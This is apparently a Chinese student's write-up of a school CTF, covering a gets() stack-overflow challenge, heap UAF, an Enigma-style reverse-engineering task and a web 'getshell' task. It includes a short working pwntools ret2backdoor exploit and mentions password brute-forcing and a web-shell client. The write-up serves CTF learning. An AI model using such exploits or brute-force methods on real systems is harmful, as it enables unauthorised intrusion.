題解
- 前言
- web
- pwn
- checkin
- hack_note_sh
- hash_note_nosh
- misc
- Reverse
- srand
- burst is a good idea
- what is this
- Diffcult
- re(enigma)
- pwn
- 日站
前言
這次比賽有點感覺了,但在第三道pwn上卡了一個小時沒出來…
hhh早知道去做逆向了,師兄送的分都沒拿
20這屆師弟還是nice的,就是起步晚了點,師弟們加油!
本題解主要提供思路,具體步驟可能不詳細,見諒

web
web真好玩
你們的19web狗親筆.
pwn
checkin
pwn里的簽到題
gets函式不限制傳入字符
所以可以把v4填滿后繼續溢位過rbp到回傳地址

也就是覆寫r的位置,劫持到后門函式里
偏移量0x20+0x8
exp如下
from pwn import *
#context(os='linux', arch='i386', log_level='debug')
#dog = remote('47.100.53.148',10101)
dog = process("./checkin")
system = 0x004005b6
#binshaddr = 0x4005b6
#dog.recv()
#gdb.attach(dog)
a = 0x4005b6
payload = ('a' * (0x20+8)).encode() +p64(system) #+ 'aaaa'.encode() + p32(binshaddr)
#print(payload)
dog.sendline(payload)
dog.interactive()
通了

hack_note_sh
uaf漏洞
wiki上的原題,之前剛好刷到,質量不錯
https://ctf-wiki.org/pwn/linux/glibc-heap/use_after_free/
hash_note_nosh
這題沒有后門函式,我想用one_gadget一把梭來著,失敗了,
后來發現攻防世界原題…
鏈接點我
所以這應該不算是pwn,應該算雜項,

misc
沒有任何坑的簡單題,看到大家都做出來了就不寫了
至于社工題,這題我沒看,看了眼后提供思路:
一種方法是猜密碼
如果我來做應該會生成個社工字典

作為pwn狗用pwntools庫爆破(當然web狗用requests庫也可以)
總之形成互動就可以一把梭,

Reverse
srand
之前攻防世界上做pwn的時候遇到過srand
srand里面是固定的值的話每次生成的亂數也會是固定的
看了一眼直接把腳本寫出來了…
這個是在windows下跑

然后搞半天找不到ubuntu16的環境
我的wsl也是18.04,淦
用libc2.23鏈接跑出來也不對…
總的來說,我是這個

burst is a good idea

純百度題,當然也可以用python,基本大家都做出來了
what is this
用到了ida里的patch,校賽的時候還不會,之后是zhouyetao師兄教我的,

用patch改一下程式流程



好的,我雖然會patch了,但還是不知道這題怎么做

Diffcult
這次應該挑戰下這三道diffcult題目的,感覺都能做…明年沒機會了
re(enigma)
第一步查殼,拖進upx里脫殼

然后就可以拖ida里找程式入口

整理函式呼叫關系,并將變數重命名,分析如下
int cout_flag()
{
int v2;
int i;
int v4; // [rsp+20h] [rbp-20h]
int v5; // [rsp+28h] [rbp-18h]
int v6; // [rsp+30h] [rbp-10h]
v4 = 'mzdfmzgb';
v5 = 'zdfmzgbc';
v6 = 'gggmhzf';
for ( i = 0; i <= 22 && (i + a1) == *(&v4 + i); ++i );
if ( i == 23 )
printf("Congratulations,you get the true flag!");
else
printf("I am sorry to tell you that you are wrong.");
return result;
}
int en1(char a1,int a2)
{
for ( i = 0; i <= 26; ++i )
v6[i] = *(i + a1);
v5 = en2(v6, a2);
for ( j = 0; j <= 25; ++j )
v6[j] = v5[j];
result = v5;
}
int en2(char *a1,int a2)
{
v3 = a1;
for ( i = 0; i < a2; ++i )
{
for ( j = 1; j <= 25; ++j )
c[j - 1] = v3[j];
}
return c;
}
int en3(char a1,int a2)
{
v3 = 0;
for ( i = 0; i <= 26; ++i )
v6[i] = *(i + a2);
for ( j = 0; j <= 25; ++j )
{
if ( v6[j] == a1 )
{
v3 = j + 1;
break;
}
}
}
int encrypt(a1)
{
a_z="abcdefghijklmnopqrstuvwxyz"
a_z2="abcdefghijklmnopqrstuvwxyz"
x = a1;
for ( i = 0; i <= 22; ++i )
a[i] = *(x + i);
y = en1(a_z, 4);
for ( j = 0; j <= 25; ++j )
a_z[j] = *(y + j);
y = en1(a_z2, 3);
for ( k = 0; k <= 25; ++k )
v1 = *(y + k);
a_z2[k] = v1
for ( l = 0; l <= 22; ++l )
{
flag1[l] = a_z2[en3(a[l], a_z,v1)];
y = en1(a_z, 1u);
for ( m = 0; m <= 25; ++m )
a_z[m] = *(y + m);
y = en1(a_z2, 1u);
for ( n = 0; n <= 25; ++n )
a_z2[n] = *(y + n);
}
return cout_flag(flag1);
}
int main()
{
signed int i; // [rsp+Ch] [rbp-4h]
input = your_input();
for ( i = 0; i <= 22; ++i )
input1[i] = *(input + i);
return encrypt(input1);
}
從最后輸出flag的函式看起

-
當i為23的時候就成功輸出flag,
-
所以需要前面的for回圈不退出,也就是讓 *(i+a1) 和 *(v4+i)的值相等,
-
我們知道,*是取地址的意思,所以實際上就是比較 a1陣列和v4陣列,
-
在記憶體空間中,v4、v5、v6的地址是連在一起的,如圖

-
所以a1要等于"mzdffmzgbzdfmzgbcgggmhzf"即可
a1是上一個函式呼叫該函式時傳入的引數,也就是上面的flag1

-
可以看到,每一位flag1經過en3變換,需要用到a_z2和a_z
-
a_z2和a_z每輪都在用en1變換

-
而en1中又呼叫了en2

-
呼叫了en3,分析en3

這里的傳參型別有點小問題,a2應該是a_z的地址
回傳值也漏了,回傳值應該是v3

-
v1并沒有用到,不用去管
-
那en3的回傳值就是a[l]值在a_z中的出現位置
-
en3的回傳值又作為a_z2的下標,就是我們的flag1
-
然后我們就可以逆出a[l]
-
a[l]就是flag,因為根據ida里函式呼叫關系,a[l]正是我們的輸入
-
大致思路就清楚了,,然后en1變換和en2等就是enigma密碼機
-
之后就可以寫腳本,懶得寫,可以拿草稿紙推一遍

pwn
看給的hint是ret2dl-runtime-resolve,屬于高階rop里的內容,還沒學,之后會再開一篇博客記錄學習程序
不鴿的話會補上鏈接在這里
日站
大致思路就是登錄管理員賬號,getshell后用菜刀連,flag在資料庫里,
具體可以問19web🐶
就到這里吧,安了安了,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/286217.html
標籤:其他
上一篇:Spring Boot - 自定義 Banner 圖案
下一篇:C++11標準下的單例設計模式
